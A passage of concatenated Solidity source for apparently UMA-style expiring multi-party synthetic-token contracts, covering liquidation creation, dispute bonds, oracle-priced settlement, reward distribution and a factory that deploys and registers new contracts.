if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position
// are not funding-rate adjusted because the multiplier only affects their redemption value, not their
// notional.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated),
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
_getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final
* fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
// Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at
// liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in
// the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./ExpiringMultiPartyLib.sol";
/**
* @title Expiring Multi Party Contract creator.
* @notice Factory contract to create and register new instances of expiring multiparty contracts.
* Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints
* that are applied to newly created expiring multi party contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* EMP CREATOR DATA STRUCTURES *
****************************************/
struct Params {
uint256 expirationTimestamp;
address collateralAddress;
bytes32 priceFeedIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
address financialProductLibraryAddress;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress);
/**
* @notice Constructs the ExpiringMultiPartyCreator contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of expiring multi party and registers it within the registry.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract.
*/
function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) {
// Create a new synthetic token using the params.
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method, then a default precision of 18 will be
// applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedExpiringMultiParty(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createExpiringMultiParty params to ExpiringMultiParty constructor params.
function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency)
private
view
returns (ExpiringMultiParty.ConstructorParams memory constructorParams)
{
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
require(params.expirationTimestamp > now, "Invalid expiration time");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want EMP deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the EMP unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// Input from function call.
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.expirationTimestamp = params.expirationTimestamp;
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./ExpiringMultiParty.sol";
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Liquidatable.sol";
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./PricelessPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract Liquidatable is PricelessPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
address financialProductLibraryAddress;
bytes32 priceFeedIdentifier;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.minSponsorTokens,
params.timerAddress,
params.financialProductLibraryAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
